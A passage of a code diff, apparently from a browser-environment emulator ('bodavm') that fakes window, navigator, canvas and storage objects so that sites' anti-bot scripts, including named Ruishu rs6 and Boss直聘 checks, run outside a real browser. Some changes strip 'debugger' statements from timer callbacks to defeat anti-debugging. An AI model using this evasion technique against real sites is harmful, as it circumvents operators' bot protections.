bodaobj.window['sessionStorage'] return sessionStorage_ @@ -2553,7 +2740,7 @@ bodavm.memory.Performance={ let crypto_ = bodavm.memory.globalobj.crypto // crypto_._boarg= globalobj.window['crypto'] - console.log(`window_crypto_get `, `crypto->`, crypto_); + console.log_copy(`window_crypto_get `, `crypto->`, crypto_); return crypto_ } bodavm.envFunc.window_document_get = function window_document_get() { @@ -2561,15 +2748,15 @@ bodavm.memory.Performance={ let document_ = bodavm.memory.globalobj.document document_._boarg= bodaobj.window['document'] - console.log(`window_document_get `, `document->`, document_); + console.log_copy(`window_document_get `, `document->`, document_); return document_ } bodavm.envFunc.window_location_get = function window_location_get() { - debugger + // debugger let location_ = bodavm.memory.globalobj.location location_._boarg= bodaobj.window['location'] - console.log(`window_location_get `, `location_->`, location_); + console.log_copy(`window_location_get `, `location_->`, location_); return location_ } bodavm.envFunc.window_clientInformation_get = function window_clientInformation_get() { @@ -2577,72 +2764,72 @@ bodavm.memory.Performance={ let res = navigator res._boarg= bodaobj.window['navigator'] - console.log(`window_clientInformation_get `, `-> res- >${res}`); + console.log_copy(`window_clientInformation_get `, `-> res- >${res}`); return res } bodavm.envFunc.HTMLAllCollection_length_get = function () { debugger let length_ = bodavm.memory.all.length if (bodavm.memory.rs6 && bodavm.memory.rs6_body==0){ - console.log(`HTMLAllCollection_length_get `, `length_ ->${3}`); + console.log_copy(`HTMLAllCollection_length_get `, `length_ ->${3}`); return 3 } - console.log(`HTMLAllCollection_length_get `, `length_ ->${length_}`); + console.log_copy(`HTMLAllCollection_length_get `, `length_ ->${length_}`); return length_ } bodavm.envFunc.HTMLAnchorElement_hash_get = function HTMLAnchorElement_hash_get() { let hash = this._boarg.hash - console.log(`HTMLAnchorElement_hash_get `, `hash ->${hash}`); + console.log_copy(`HTMLAnchorElement_hash_get `, `hash ->${hash}`); return hash } bodavm.envFunc.HTMLAnchorElement_search_get = function HTMLAnchorElement_search_get() { let search = this._boarg.search - console.log(`HTMLAnchorElement_search_get `, `search ->${search}`); + console.log_copy(`HTMLAnchorElement_search_get `, `search ->${search}`); return search } bodavm.envFunc.HTMLAnchorElement_href_get = function HTMLAnchorElement_href_get() { let href = this._boarg.href - console.log(`HTMLAnchorElement_href_get `, `href ->${href}`); + console.log_copy(`HTMLAnchorElement_href_get `, `href ->${href}`); return href } bodavm.envFunc.HTMLAnchorElement_port_get = function HTMLAnchorElement_port_get() { let port = this._boarg.port - console.log(`HTMLAnchorElement_port_get `, `port ->${port}`); + console.log_copy(`HTMLAnchorElement_port_get `, `port ->${port}`); return port } bodavm.envFunc.HTMLAnchorElement_pathname_get = function HTMLAnchorElement_pathname_get() { let pathname = this._boarg.pathname - console.log(`HTMLAnchorElement_pathname_get `, `pathname ->${pathname}`); + console.log_copy(`HTMLAnchorElement_pathname_get `, `pathname ->${pathname}`); return pathname } bodavm.envFunc.HTMLAnchorElement_hostname_get = function HTMLAnchorElement_hostname_get() { let hostname = this._boarg.hostname - console.log(`HTMLAnchorElement_hostname_get `, `hostname ->${hostname}`); + console.log_copy(`HTMLAnchorElement_hostname_get `, `hostname ->${hostname}`); return hostname } bodavm.envFunc.HTMLAnchorElement_protocol_get = function HTMLAnchorElement_protocol_get() { let protocol = this._boarg.protocol - console.log(`HTMLAnchorElement_protocol_get `, `protocol ->${protocol}`); + console.log_copy(`HTMLAnchorElement_protocol_get `, `protocol ->${protocol}`); return protocol } bodavm.envFunc.HTMLAnchorElement_href_set = function HTMLAnchorElement_href_set() { let href = arguments[0] this._boarg.href = href - console.log(`HTMLAnchorElement_href_set `, `href ->${href}`); + console.log_copy(`HTMLAnchorElement_href_set `, `href ->${href}`); return href } bodavm.envFunc.HTMLInputElement_type_set = function HTMLInputElement_type_set() { let type = arguments[0] this._boarg.type = type - console.log(`HTMLInputElement_type_set `, `type->${type}`); + console.log_copy(`HTMLInputElement_type_set `, `type->${type}`); return type } @@ -2666,13 +2853,13 @@ bodavm.memory.Performance={ // action=this._boarg.action // debugger - console.log(`HTMLFormElement_action_get `, `action ->${action}`, `r6检测点`); + console.log_copy(`HTMLFormElement_action_get `, `action ->${action}`, `r6检测点`); return action } bodavm.envFunc.HTMLInputElement_name_set = function HTMLInputElement_name_set() { let name = arguments[0] this._boarg.name = name - console.log(`HTMLInputElement_name_set `, `name ->${name}`); + console.log_copy(`HTMLInputElement_name_set `, `name ->${name}`); return name } bodavm.envFunc.HTMLFormElement_action_set = function HTMLFormElement_action_set() { @@ -2686,7 +2873,7 @@ bodavm.memory.Performance={ } } // debugger - console.log(`HTMLFormElement_action_set `, `action ->${action}`); + console.log_copy(`HTMLFormElement_action_set `, `action ->${action}`); return action } bodavm.envFunc.Document_createExpression = function Document_createExpression() { @@ -2695,14 +2882,14 @@ bodavm.memory.Performance={ res._boarg = bodaobj.document.createExpression(arguments[0], arguments[1]) res.__proto__ = bodavm.memory.globalobj['XPathExpression'].prototype - console.log(`Document_createExpression `, `-> res ->${res}`); + console.log_copy(`Document_createExpression `, `-> res ->${res}`); return res } bodavm.envFunc.BarProp_visible_get = function BarProp_visible_get() { // debugger let boolres = true - console.log(`BarProp_visible_get `, `boolres ->${boolres}`,`未完善`); + console.log_copy(`BarProp_visible_get `, `boolres ->${boolres}`,`未完善`); return boolres } bodavm.envFunc.HTMLMediaElement_canPlayType = function HTMLMediaElement_canPlayType() { @@ -2741,10 +2928,10 @@ bodavm.memory.Performance={ break default: - console.log(`HTMLMediaElement_canPlayType `, `canplaytype->${canplaytype}未实现 `); + console.log_copy(`HTMLMediaElement_canPlayType `, `canplaytype->${canplaytype}未实现 `); } - console.log(`HTMLMediaElement_canPlayType `, `canplaytype ->${canplaytype}`, `-> res ->${res}`); + console.log_copy(`HTMLMediaElement_canPlayType `, `canplaytype ->${canplaytype}`, `-> res ->${res}`); return res } @@ -2757,7 +2944,7 @@ bodavm.memory.Performance={ res._media = arg res.__proto__ = bodavm.memory.globalobj['MediaQueryList'].prototype res._boisinit=true - console.log(`window_matchMedia `, `arg ->${arg}`, `-> res ->${res}`); + console.log_copy(`window_matchMedia `, `arg ->${arg}`, `-> res ->${res}`); return res } @@ -2767,7 +2954,7 @@ bodavm.memory.Performance={ if (arguments.length > 1) { return bodavm.toolsFunc.throwError('TypeError', 'XMLHttpRequestEventTarget_onabort_set') } let arg = arguments[0] this._boarg.onabort = arg - console.log(`XMLHttpRequestEventTarget_onabort_set `, `arg->${arg}`); + console.log_copy(`XMLHttpRequestEventTarget_onabort_set `, `arg->${arg}`); return arg } @@ -2777,28 +2964,28 @@ bodavm.memory.Performance={ if (arguments.length > 1) { return bodavm.toolsFunc.throwError('TypeError', 'XMLHttpRequestEventTarget_onerror_set') } let arg = arguments[0] this._boarg.onerror = arg - console.log(`XMLHttpRequestEventTarget_onerror_set`, `arg->${arg}`); + console.log_copy(`XMLHttpRequestEventTarget_onerror_set`, `arg->${arg}`); return arg } bodavm.envFunc.XMLHttpRequestEventTarget_onload_set = function XMLHttpRequestEventTarget_onload_set() { if (arguments.length > 1) { return bodavm.toolsFunc.throwError('TypeError', 'XMLHttpRequestEventTarget_onload_set') } let arg = arguments[0] this._boarg.onload = arg - console.log(`XMLHttpRequestEventTarget_onload_set`, `arg->${arg}`); + console.log_copy(`XMLHttpRequestEventTarget_onload_set`, `arg->${arg}`); return arg } bodavm.envFunc.XMLHttpRequestEventTarget_onloadend_set = function XMLHttpRequestEventTarget_onloadend_set() { if (arguments.length > 1) { return bodavm.toolsFunc.throwError('TypeError', 'XMLHttpRequestEventTarget_onloadend_set') } let arg = arguments[0] this._boarg.onloadend = arg - console.log(`XMLHttpRequestEventTarget_onloadend_set`, `arg->${arg}`); + console.log_copy(`XMLHttpRequestEventTarget_onloadend_set`, `arg->${arg}`); return arg } bodavm.envFunc.XMLHttpRequestEventTarget_onloadstart_set = function XMLHttpRequestEventTarget_onloadstart_set() { if (arguments.length > 1) { return bodavm.toolsFunc.throwError('TypeError', 'XMLHttpRequestEventTarget_onloadstart_set') } let arg = arguments[0] this._boarg.onloadstart = arg - console.log(`XMLHttpRequestEventTarget_onloadstart_set`, `arg->${arg}`); + console.log_copy(`XMLHttpRequestEventTarget_onloadstart_set`, `arg->${arg}`); return arg } @@ -2806,7 +2993,7 @@ bodavm.memory.Performance={ if (arguments.length > 1) { return bodavm.toolsFunc.throwError('TypeError', 'XMLHttpRequestEventTarget_onprogress_set') } let arg = arguments[0] this._boarg.onprogress = arg - console.log(`XMLHttpRequestEventTarget_onprogress_set`, `arg->${arg}`); + console.log_copy(`XMLHttpRequestEventTarget_onprogress_set`, `arg->${arg}`); return arg } @@ -2814,7 +3001,7 @@ bodavm.memory.Performance={ if (arguments.length > 1) { return bodavm.toolsFunc.throwError('TypeError', 'XMLHttpRequestEventTarget_ontimeout_set') } let arg = arguments[0] this._boarg.ontimeout = arg - console.log(`XMLHttpRequestEventTarget_ontimeout_set`, `arg->${arg}`); + console.log_copy(`XMLHttpRequestEventTarget_ontimeout_set`, `arg->${arg}`); return arg } @@ -2822,51 +3009,51 @@ bodavm.memory.Performance={ bodavm.envFunc.XMLHttpRequest_upload_get = function XMLHttpRequest_upload_get() { let upload = this._boarg.upload - console.log(`XMLHttpRequestEventTarget_upload_get `, `upload -> ${upload}`); + console.log_copy(`XMLHttpRequestEventTarget_upload_get `, `upload -> ${upload}`); return upload } bodavm.envFunc.XMLHttpRequestEventTarget_ontimeout_get = function XMLHttpRequestEventTarget_ontimeout_get() { let ontimeout = this._boarg.ontimeout - console.log(`XMLHttpRequestEventTarget_ontimeout_get `, `ontimeout -> ${ontimeout}`); + console.log_copy(`XMLHttpRequestEventTarget_ontimeout_get `, `ontimeout -> ${ontimeout}`); return ontimeout } bodavm.envFunc.XMLHttpRequestEventTarget_onprogress_get = function XMLHttpRequestEventTarget_onprogress_get() { let onprogress = this._boarg.onprogress - console.log(`XMLHttpRequestEventTarget_onprogress_get `, `onprogress -> ${onprogress}`); + console.log_copy(`XMLHttpRequestEventTarget_onprogress_get `, `onprogress -> ${onprogress}`); return onprogress } bodavm.envFunc.XMLHttpRequestEventTarget_onloadend_get = function XMLHttpRequestEventTarget_onloadend_get() { let onloadend = this._boarg.onloadend - console.log(`XMLHttpRequestEventTarget_onloadend_get `, `onloadend -> ${onloadend}`); + console.log_copy(`XMLHttpRequestEventTarget_onloadend_get `, `onloadend -> ${onloadend}`); return onloadend } bodavm.envFunc.XMLHttpRequestEventTarget_onloadstart_get = function XMLHttpRequestEventTarget_onloadstart_get() { // debugger let onloadstart = this._boarg.onloadstart - console.log(`XMLHttpRequestEventTarget_onloadstart_get `, `onloadstart -> ${onloadstart}`); + console.log_copy(`XMLHttpRequestEventTarget_onloadstart_get `, `onloadstart -> ${onloadstart}`); return onloadstart } bodavm.envFunc.XMLHttpRequestEventTarget_onerror_get = function XMLHttpRequestEventTarget_onerror_get() { let onerror = this._boarg.onerror - console.log(`XMLHttpRequestEventTarget_onerror_get `, `onerror -> ${onerror}`); + console.log_copy(`XMLHttpRequestEventTarget_onerror_get `, `onerror -> ${onerror}`); return onerror } bodavm.envFunc.XMLHttpRequestEventTarget_onload_get = function XMLHttpRequestEventTarget_onload_get() { let onload = this._boarg.onload - console.log(`XMLHttpRequestEventTarget_onload_get `, `onerror -> ${onload}`); + console.log_copy(`XMLHttpRequestEventTarget_onload_get `, `onerror -> ${onload}`); return onload } bodavm.envFunc.XMLHttpRequestEventTarget_onabort_get = function XMLHttpRequestEventTarget_onabort_get() { // debugger let onabort = this._boarg.onabort - console.log(`XMLHttpRequestEventTarget_onabort_get `, `onabort -> ${onabort}`); + console.log_copy(`XMLHttpRequestEventTarget_onabort_get `, `onabort -> ${onabort}`); return onabort } bodavm.envFunc.XMLHttpRequest_withCredentials_set = function XMLHttpRequest_withCredentials_set() { debugger let arg = arguments[0] this._boarg.withCredentials = arg - console.log(`XMLHttpRequest_withCredentials_set `, `arg -> ${arg}`); + console.log_copy(`XMLHttpRequest_withCredentials_set `, `arg -> ${arg}`); return arg } bodavm.envFunc.CanvasRenderingContext2D_shadowBlur_set = function CanvasRenderingContext2D_shadowBlur_set() { @@ -2874,7 +3061,7 @@ bodavm.memory.Performance={ if (bodavm.config.isdebug) { debugger }; let shadowBlur = arguments[0] this._bocanvas.shadowBlur = shadowBlur - console.log(`CanvasRenderingContext2D_shadowBlur_set `, `shadowBlur ->${shadowBlur}`); + console.log_copy(`CanvasRenderingContext2D_shadowBlur_set `, `shadowBlur ->${shadowBlur}`); return shadowBlur } bodavm.envFunc.CanvasRenderingContext2D_arc = function CanvasRenderingContext2D_arc() { @@ -2886,20 +3073,20 @@ bodavm.memory.Performance={ let arg4 = arguments[4] this._bocanvas.arc(arg, arg1, arg2, arg3, arg4) //无返回值 - console.log(`CanvasRenderingContext2D_arc `, `arg->${arg} arg1->${arg1} arg2->${arg2} arg2->${arg2} arg3->${arg3} arg4->${arg4}`); + console.log_copy(`CanvasRenderingContext2D_arc `, `arg->${arg} arg1->${arg1} arg2->${arg2} arg2->${arg2} arg3->${arg3} arg4->${arg4}`); } bodavm.envFunc.CanvasRenderingContext2D_stroke = function CanvasRenderingContext2D_stroke() { // debugger //无返回值 this._bocanvas.stroke() - console.log(`CanvasRenderingContext2D_stroke `); + console.log_copy(`CanvasRenderingContext2D_stroke `); } bodavm.envFunc.HTMLScriptElement_text_set = function HTMLScriptElement_text_set() { if (bodavm.config.isdebug) { debugger }; let arg = arguments[0] this._boarg.text = arg - console.log(`HTMLScriptElement_text_set `, `arg -> ${arg}`); + console.log_copy(`HTMLScriptElement_text_set `, `arg -> ${arg}`); return arg } @@ -2912,11 +3099,11 @@ bodavm.memory.Performance={ let promise = new Promise((resolve, reject) => { resolve(res) }) - console.log(`Permissions_query `, `-> res ->${promise}`); + console.log_copy(`Permissions_query `, `-> res ->${promise}`); return promise } else { - console.log(`Permissions_query `, `${query} 未实现`); + console.log_copy(`Permissions_query `, `${query} 未实现`); } @@ -2926,7 +3113,7 @@ bodavm.memory.Performance={ if (bodavm.config.isdebug) { debugger }; if (bodavm.memory.collection["IMG"]){ res=bodavm.memory.collection["IMG"] - console.log(`Document_images_get bodavm.memory.collection["IMG"]已存在,直接返回`); + console.log_copy(`Document_images_get bodavm.memory.collection["IMG"]已存在,直接返回`); return res } @@ -2934,7 +3121,7 @@ bodavm.memory.Performance={ bodavm.memory.collection["IMG"]=[] } // else if (bodavm.memory.collection["IMG"]){ - // console.log(`Document_images_get `, `已存在bodavm.memory.collection中直接返回 imgs -> ${bodavm.memory.collection["IMG"]}`); + // console.log_copy(`Document_images_get `, `已存在bodavm.memory.collection中直接返回 imgs -> ${bodavm.memory.collection["IMG"]}`); // return bodavm.memory.collection["IMG"] // } // debugger @@ -2966,7 +3153,7 @@ bodavm.memory.Performance={ if (target.__proto__ ==Array.prototype){ return true } - console.log(target,`正在删除属性`,propkey,`默认返回false`); + console.log_copy(target,`正在删除属性`,propkey,`默认返回false`); return false } }) @@ -2974,14 +3161,14 @@ bodavm.memory.Performance={ bodavm.memory.collection["IMG"].__proto__ = bodavm.memory.globalobj['HTMLCollection'].prototype bodavm.memory.collection["IMG"]._boarg = taglist bodavm.memory.collection["IMG"].__proto__[Symbol.iterator] = Array.prototype[Symbol.iterator]; - console.log(`Document_images_get `, `imgs -> ${bodavm.memory.collection["IMG"]}`); + console.log_copy(`Document_images_get `, `imgs -> ${bodavm.memory.collection["IMG"]}`); return bodavm.memory.collection["IMG"] } bodavm.envFunc.Navigator_deviceMemory_get = function Navigator_deviceMemory_get() { let deviceMemory = bodavm.memory.navigator['deviceMemory'] if (bodavm.config.isdebug) { debugger }; - console.log(`Navigator_deviceMemory_get `, `deviceMemory ->${deviceMemory}`); + console.log_copy(`Navigator_deviceMemory_get `, `deviceMemory ->${deviceMemory}`); return deviceMemory } @@ -2990,7 +3177,7 @@ bodavm.memory.Performance={ if (bodavm.config.isdebug) { debugger }; credentials.__proto__ = bodavm.memory.globalobj['CredentialsContainer'].prototype - console.log(`Navigator_credentials_get `, `credentials ->${credentials}`); + console.log_copy(`Navigator_credentials_get `, `credentials ->${credentials}`); return credentials } bodavm.envFunc.Navigator_storage_get = function Navigator_storage_get() { @@ -2999,14 +3186,14 @@ bodavm.memory.Performance={ if (bodavm.config.isdebug) { debugger }; storage._boisinit=true storage.__proto__ = bodavm.memory.globalobj['StorageManager'].prototype - console.log(`Navigator_storage_get `, `storage ->${storage}`); + console.log_copy(`Navigator_storage_get `, `storage ->${storage}`); return storage } bodavm.envFunc.Navigator_maxTouchPoints_get = function Navigator_maxTouchPoints_get() { let maxTouchPoints = bodavm.memory.navigator['maxTouchPoints'] if (bodavm.config.isdebug) { debugger }; - console.log(`Navigator_maxTouchPoints_get `, `maxTouchPoints ->${maxTouchPoints}`); + console.log_copy(`Navigator_maxTouchPoints_get `, `maxTouchPoints ->${maxTouchPoints}`); return maxTouchPoints } bodavm.envFunc.Navigator_bluetooth_get = function Navigator_bluetooth_get() { @@ -3014,28 +3201,28 @@ bodavm.memory.Performance={ bluetooth.__proto__ = bodavm.memory.globalobj['Bluetooth'].prototype if (bodavm.config.isdebug) { debugger }; - console.log(`Navigator_bluetooth_get `, `bluetooth ->${bluetooth}`); + console.log_copy(`Navigator_bluetooth_get `, `bluetooth ->${bluetooth}`); return bluetooth } bodavm.envFunc.Navigator_vendorSub_get = function Navigator_vendorSub_get() { let vendorSub = bodavm.memory.navigator['vendorSub'] if (bodavm.config.isdebug) { debugger }; - console.log(`Navigator_vendorSub_get `, `vendorSub ->${vendorSub}`); + console.log_copy(`Navigator_vendorSub_get `, `vendorSub ->${vendorSub}`); return vendorSub } bodavm.envFunc.Navigator_product_get = function Navigator_product_get() { let product = bodavm.memory.navigator['product'] if (bodavm.config.isdebug) { debugger }; - console.log(`Navigator_product_get `, `product ->${product}`); + console.log_copy(`Navigator_product_get `, `product ->${product}`); return product } bodavm.envFunc.Navigator_doNotTrack_get = function Navigator_doNotTrack_get() { let doNotTrack = null if (bodavm.config.isdebug) { debugger }; - console.log(`Navigator_doNotTrack_get `, `doNotTrack ->${doNotTrack}`); + console.log_copy(`Navigator_doNotTrack_get `, `doNotTrack ->${doNotTrack}`); return doNotTrack } bodavm.envFunc.RTCPeerConnection_createDataChannel = function RTCPeerConnection_createDataChannel() { @@ -3045,7 +3232,7 @@ bodavm.memory.Performance={ if (label == 'label') { let DataChannel = {} DataChannel.__proto__ = bodavm.memory.globalobj['RTCDataChannel'].prototype - console.log(`RTCPeerConnection_createDataChannel `, `label->${label} `, `options->${options} `, `DataChannel->${DataChannel} `); + console.log_copy(`RTCPeerConnection_createDataChannel `, `label->${label} `, `options->${options} `, `DataChannel->${DataChannel} `); return DataChannel } @@ -3056,7 +3243,7 @@ bodavm.memory.Performance={ let change = arguments[0] this._onicegatheringstatechange = change - console.log(`RTCPeerConnection_onicegatheringstatechange_set `, `onicegatheringstatechange ->${_onicegatheringstatechange}`); + console.log_copy(`RTCPeerConnection_onicegatheringstatechange_set `, `onicegatheringstatechange ->${_onicegatheringstatechange}`); return change } @@ -3077,41 +3264,41 @@ bodavm.memory.Performance={ "stencil": false, "xrCompatible": false } - console.log(`WebGLRenderingContext_getContextAttributes `, `context->${JSON.stringify(context)}`); + console.log_copy(`WebGLRenderingContext_getContextAttributes `, `context->${JSON.stringify_bo(context)}`); return context } bodavm.envFunc.document_write = function document_write() { let html = arguments[0] bodaobj.document.write(html) - console.log(`document_write `, `html ->${html}`); + console.log_copy(`document_write `, `html ->${html}`); } bodavm.envFunc.window_frames_get = function window_frames_get() { - let iframe = bodaobj.window - console.log(`window_frames_get `, ` 返回的为jsdom中的window`,`需要关注具体方法`); + // let iframe = bodaobj.window + console.log_copy(`window_frames_get `, ` 返回window`); // iframe = bodavm.toolsFunc.proxy(iframe, 'iframewinodow') - - return iframe + // iframe._bocontentiframe=true + return window } bodavm.envFunc.window_closed_get = function window_closed_get() { let closed = bodavm.memory.window['closed']; - console.log(`window_closed_get `, ` window.closed->${closed}`); + console.log_copy(`window_closed_get `, ` window.closed->${closed}`); return closed } bodavm.envFunc.window_status_get = function window_status_get() { let status = bodavm.memory.window['status']; - console.log(`window_status_get `, ` 返回的为jsdom中的window.status->${status}`); + console.log_copy(`window_status_get `, ` 返回的为jsdom中的window.status->${status}`); return status } bodavm.envFunc.window_origin_get = function window_origin_get() { let origin = bodaobj.window.origin; - console.log(`window_origin_get `, ` 返回的为jsdom中的window.origin->${origin}`); + console.log_copy(`window_origin_get `, ` 返回的为jsdom中的window.origin->${origin}`); return origin } bodavm.envFunc.window_onmessage_get = function window_onmessage_get() { let onmessage = bodaobj.window.onmessage; - console.log(`window_onmessage_get `, ` 返回的为jsdom中的window.onmessage ->${onmessage}`); + console.log_copy(`window_onmessage_get `, ` 返回的为jsdom中的window.onmessage ->${onmessage}`); return onmessage } @@ -3119,25 +3306,25 @@ bodavm.memory.Performance={ bodavm.envFunc.window_webkitRequestFileSystem = function window_webkitRequestFileSystem() { debugger let webkitRequestFileSystem = bodavm.memory.globalobj['webkitRequestFileSystem']; - console.log(`window.webkitRequestFileSystem `, ` window.webkitRequestFileSystem 无返回值->${webkitRequestFileSystem}`); + console.log_copy(`window.webkitRequestFileSystem `, ` window.webkitRequestFileSystem 无返回值->${webkitRequestFileSystem}`); // return webkitRequestFileSystem } bodavm.envFunc.window_onbeforeunload_get = function window_onbeforeunload_get() { let onbeforeunload = bodaobj.window.onbeforeunload; - console.log(`window_onbeforeunload_get `, ` 返回的为jsdom中的window.onbeforeunload ->${onbeforeunload}`); + console.log_copy(`window_onbeforeunload_get `, ` 返回的为jsdom中的window.onbeforeunload ->${onbeforeunload}`); return onbeforeunload } bodavm.envFunc.window_length_get = function window_length_get() { let _length = bodaobj.window.length; - console.log(`window_length_get `, ` length ->${_length} boss直聘检测`); + console.log_copy(`window_length_get `, ` length ->${_length} boss直聘检测`); return _length } bodavm.envFunc.window_onbeforeunload_set = function window_onbeforeunload_set() { let arg = arguments[0] bodavm.memory.window['onbeforeunload'] = arg - console.log(`window_onbeforeunload_set `, ` window.onbeforeunload ->${arg}`); + console.log_copy(`window_onbeforeunload_set `, ` window.onbeforeunload ->${arg}`); } bodavm.envFunc.window_openDatabase = function window_openDatabase() { let arg = arguments[0] @@ -3147,111 +3334,113 @@ bodavm.memory.Performance={ // let openDatabase // debugger let database=bodavm.memory.globalobj['database'] - console.log(`window_openDatabase `, `->${arg}->${arg1}->${arg2}->${arg3} database`); + console.log_copy(`window_openDatabase `, `->${arg}->${arg1}->${arg2}->${arg3} database`); return database } bodavm.envFunc.window_defaultStatus_get = function window_defaultStatus_get() { let defaultStatus = bodavm.memory.window['defaultStatus'] - console.log(`window_defaultStatus_get `, `defaultStatus ->${defaultStatus}`); + console.log_copy(`window_defaultStatus_get `, `defaultStatus ->${defaultStatus}`); return defaultStatus } bodavm.envFunc.window_defaultstatus_get = function window_defaultstatus_get() { let defaultstatus = bodavm.memory.window['defaultstatus'] - console.log(`window_defaultstatus_get `, `defaultstatus ->${defaultstatus}`); + console.log_copy(`window_defaultstatus_get `, `defaultstatus ->${defaultstatus}`); return defaultstatus } bodavm.envFunc.window_innerWidth_get = function window_innerWidth_get() { let innerWidth = bodaobj.window['innerWidth'] - console.log(`window_innerWidth_get `, `innerWidth ->${innerWidth}`); + console.log_copy(`window_innerWidth_get `, `innerWidth ->${innerWidth}`); return innerWidth } bodavm.envFunc.window_devicePixelRatio_get = function window_devicePixelRatio_get() { let devicePixelRatio = bodavm.memory.window['devicePixelRatio'] - console.log(`window_innerWidth_get `, `devicePixelRatio ->${devicePixelRatio}`); + console.log_copy(`window_innerWidth_get `, `devicePixelRatio ->${devicePixelRatio}`); return devicePixelRatio } bodavm.envFunc.window_innerHeight_get = function window_innerHeight_get() { let innerHeight = bodaobj.window['innerHeight'] - console.log(`window_innerHeight_get `, `innerHeight ->${innerHeight}`); + console.log_copy(`window_innerHeight_get `, `innerHeight ->${innerHeight}`); return innerHeight } bodavm.envFunc.window_outerHeight_get = function window_outerHeight_get() { let outerHeight = bodaobj.window['outerHeight'] - console.log(`window_outerHeight_get `, `outerHeight ->${outerHeight}`); + console.log_copy(`window_outerHeight_get `, `outerHeight ->${outerHeight}`); return outerHeight } bodavm.envFunc.window_screenLeft_get = function window_screenLeft_get() { let screenLeft = bodaobj.window['screenLeft'] - console.log(`window_screenLeft_get `, `screenLeft ->${screenLeft}`); + console.log_copy(`window_screenLeft_get `, `screenLeft ->${screenLeft}`); return screenLeft } bodavm.envFunc.window_screenTop_get = function window_screenTop_get() { let screenTop = bodaobj.window['screenTop'] - console.log(`window_screenTop_get `, `screenTop ->${screenTop}`); + console.log_copy(`window_screenTop_get `, `screenTop ->${screenTop}`); return screenTop } bodavm.envFunc.window_outerWidth_get = function window_outerWidth_get() { let outerWidth = bodaobj.window['outerWidth'] - console.log(`window_outerWidth_get `, `outerWidth ->${outerWidth}`); + console.log_copy(`window_outerWidth_get `, `outerWidth ->${outerWidth}`); return outerWidth } bodavm.envFunc.window_screenY_get = function window_screenY_get() { let screenY = bodaobj.window['screenY'] - console.log(`window_screenY_get `, `screenY ->${screenY}`); + console.log_copy(`window_screenY_get `, `screenY ->${screenY}`); return screenY } bodavm.envFunc.window_screenX_get = function window_screenX_get() { let screenX = bodaobj.window['screenX'] - console.log(`window_screenX_get `, `screenX ->${screenX}`); + console.log_copy(`window_screenX_get `, `screenX ->${screenX}`); return screenX } bodavm.envFunc.window_pageYOffset_get = function window_pageYOffset_get() { let pageYOffset = bodaobj.window.pageYOffset - console.log(`window_pageYOffset_get `, `pageYOffset ->${pageYOffset}`); + console.log_copy(`window_pageYOffset_get `, `pageYOffset ->${pageYOffset}`); return pageYOffset } bodavm.envFunc.window_pageXOffset_get = function window_pageXOffset_get() { let pageXOffset = bodaobj.window.pageXOffset - console.log(`window_pageXOffset_get `, `scrollX ->${pageXOffset}`); + console.log_copy(`window_pageXOffset_get `, `scrollX ->${pageXOffset}`); return pageXOffset } bodavm.envFunc.window_scrollX_get = function window_scrollX_get() { let scrollX = bodaobj.window.scrollX - console.log(`window_scrollX_get `, `scrollX ->${scrollX}`); + console.log_copy(`window_scrollX_get `, `scrollX ->${scrollX}`); return scrollX } bodavm.envFunc.window_scrollY_get = function window_scrollY_get() { let scrollY = bodaobj.window.scrollY - console.log(`window_scrollY_get `, `scrollY ->${scrollY}`); + console.log_copy(`window_scrollY_get `, `scrollY ->${scrollY}`); return scrollY } bodavm.envFunc.window_self_get = function () { - console.log(`window_self_get `, `window `); + // debugger; + // if (this._bocontentiframe){debugger} + console.log_copy(`window_self_get `, `window `); if (bodavm.config.isdebug) { debugger };; return window } bodavm.envFunc.window_parent_get = function window_parent_get() { - console.log(`window_parent_get `, `window`); + console.log_copy(`window_parent_get `, `window`); return window } bodavm.envFunc.window_top_get = function window_top_get() { - console.log(`window_top_get `, `window`); + console.log_copy(`window_top_get `, `window`); return window } bodavm.envFunc.window_name_get = function window_name_get() { let name = bodavm.memory.window['name'] - console.log(`window_name_get `, `name ->${name}`); + console.log_copy(`window_name_get `, `name ->${name}`); return name } bodavm.envFunc.window_name_set = function window_name_set() { let name = arguments[0] bodavm.memory.window['name'] = name - console.log(`window_name_set `, `name ->${name}`); + console.log_copy(`window_name_set `, `name ->${name}`); return name } bodavm.envFunc.window_setTimeout = function window_setTimeout() { @@ -3263,7 +3452,10 @@ bodavm.memory.Performance={ for (let i = 2; i < length; i++) { argList.push(arguments[i]); } - console.log(`window_setTimeout `, `func->${func} `, `delay->${delay} `, `argList->${argList} `); + + func=func.toString().replace(/debugger/, "").replace(/function ()/, "function xxx") + + console.log_copy(`window_setTimeout `, `func->${func} `, `delay->${delay} `, `argList->${argList} `); bodavm.memory.globalInit.timeoutID += 1 let event = { "callback": func, @@ -3283,7 +3475,7 @@ bodavm.memory.Performance={ } bodavm.envFunc.window_clearTimeout = function window_clearTimeout() { let id = arguments[0] - console.log(`window_clearTimeout `, `${id} `) + console.log_copy(`window_clearTimeout `, `${id} `) bodavm.memory.asyncEvent.setTimeout.forEach(function (item, index, arr) { // if(bodavm.config.isdebug){debugger}; @@ -3296,7 +3488,7 @@ bodavm.memory.Performance={ } bodavm.envFunc.window_clearInterval = function window_clearInterval() { let id = arguments[0] - console.log(`window_clearInterval `, `${id} `) + console.log_copy(`window_clearInterval `, `${id} `) bodavm.memory.asyncEvent.setTimeout.forEach(function (item, index, arr) { // if(bodavm.config.isdebug){debugger}; if (item["timeoutID"] == id) { @@ -3316,7 +3508,9 @@ bodavm.memory.Performance={ for (let i = 2; i < length; i++) { argList.push(arguments[i]); } - console.log(`window_setInterval `, `func->${func.toString().length>50?func.toString().substr(0,50)+'...':func} `, `delay->${delay} `, `argList->${argList} `); + func=func.toString().replace(/debugger/, "").replace(/function ()/, "function xxx") + + console.log_copy(`window_setInterval `, `func->${func.toString().length>50?func.toString().substr(0,50)+'...':func} `, `delay->${delay} `, `argList->${argList} `); bodavm.memory.globalInit.timeoutID += 1 let event = { @@ -3339,29 +3533,38 @@ bodavm.memory.Performance={ //Storage - bodavm.envFunc.Storage_setItem = function Storage_getItem() { + bodavm.envFunc.Storage_setItem = function Storage_setItem() { if (bodavm.config.isdebug) { debugger } let keyName = arguments[0]; let keyValue = arguments[1]; this[keyName] = keyValue - console.log(`Storage_setItem `, `keyName->${keyName} `, `keyValue->${keyValue} `) + console.log_copy(`Storage_setItem `, `keyName->${keyName} `, `keyValue->${keyValue} `) } bodavm.envFunc.Storage_getItem = function Storage_getItem() { if (bodavm.config.isdebug) { debugger } let key = arguments[0] + let item = this[key] + if (!item){ + _item=bodavm.memory.localStorage[key] + if (_item){ + console.log_copy(`Storage_getItem `, `key->${key} 